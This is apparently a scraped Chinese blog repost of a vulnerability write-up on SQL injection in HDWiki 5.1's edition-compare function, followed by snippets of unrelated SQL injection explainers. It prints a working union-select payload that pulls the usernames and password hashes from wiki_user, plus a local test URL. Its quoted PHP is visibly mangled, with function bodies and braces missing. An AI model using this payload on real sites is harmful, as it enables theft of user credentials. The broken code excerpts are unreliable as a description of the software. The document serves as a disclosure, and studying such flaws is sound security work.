hdwiki5 1 SQL注入漏洞

2021-12-29 20:21:52 字數 1631 閱讀 7859

hdwiki5.1 sql注入漏洞

author:phithon

/control/edition.php 119行

function docompare()

}if(!empty($this->setting[''check_visitrate'']))

if ($this->get[4] == ''box'')

$did = $this->get[2];

$eid = $this->get[3];

$edition = array();

$editions=$_env[''doc'']->get_edition_list($did,''`time`,`authorid`,`author`,`words`,`images`,`content`'', $eid);

$this->view->assign(''edition'',$editions);

$this->view->display(''comparebox'');

exit;

}if(@!is_numeric($this->post[''eid''][0])||@!is_numeric($this->post[''eid''][1]))

$edition=$_env[''doc'']->get_edition($this->post[''eid'']);

if($edition[0][''did'']!=$edition[1][''did''])

注意這句

if(@!is_numeric($this->post[''eid''][0])||@!is_numeric($this->post[''eid''][1]))

判斷$this->post[『eid』][0]和$this->post[『eid』][1]如果有乙個不是數字,則報錯。

之後就將$this->post[『eid』]傳入get_edition函式,進去看看:

function get_edition($eid)

}return $edition;

}else

$editionlist=$edition;

}return $editionlist;}}

注意這兩句:

eid[0]=2&eid[1]=19&eid[2]=-3) union select 1,2,35,4,5,6,7,8,9,10,user(),username,password,14,15,16,17,18,19 from wiki_user%23

$eid=implode(",",$eid);

$query=$this->db->query(" select * from ".db_tablepre."edition where eid in ($eid)");

這裡直接將$eid解開後放進sql語句中。所以你之前判斷[0]和[1]是否是數字肯定不夠啊,[2]以後的元素都沒有做判斷,造成注入。

本地測試:

向http://localhost/hdwiki/index.php?edition-compare-1傳送資料

(其中的數值需要根據實際情況調整,否則會顯示引數錯誤,具體怎麼調整看**,預設安裝是這個poc)

SQL注入漏洞

sql注入漏洞曾經是web應用程式的噩夢,cms bbs blog無一不曾受其害。sql注入的原理 以往在web應用程式訪問資料庫時一般是採取拼接字串的形式,比如登入的時候就是根據使用者名稱和密碼去查詢 string sql select top 1 from user where username...

SQL注入漏洞

sql注入,就是通過把sql命令插入到web表單遞交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令,比如先前的很多影視 洩露vip會員密碼大多就是通過web表單遞交查詢字元暴出的,這類表單特別容易受到sql注入式攻擊 sql注入的發生 當應用程式使用輸入內容來構造動態sq...

sql注入漏洞

什麼是sql注入 通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通俗地講,它是利用現有應用程式,將 惡意 的sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,而...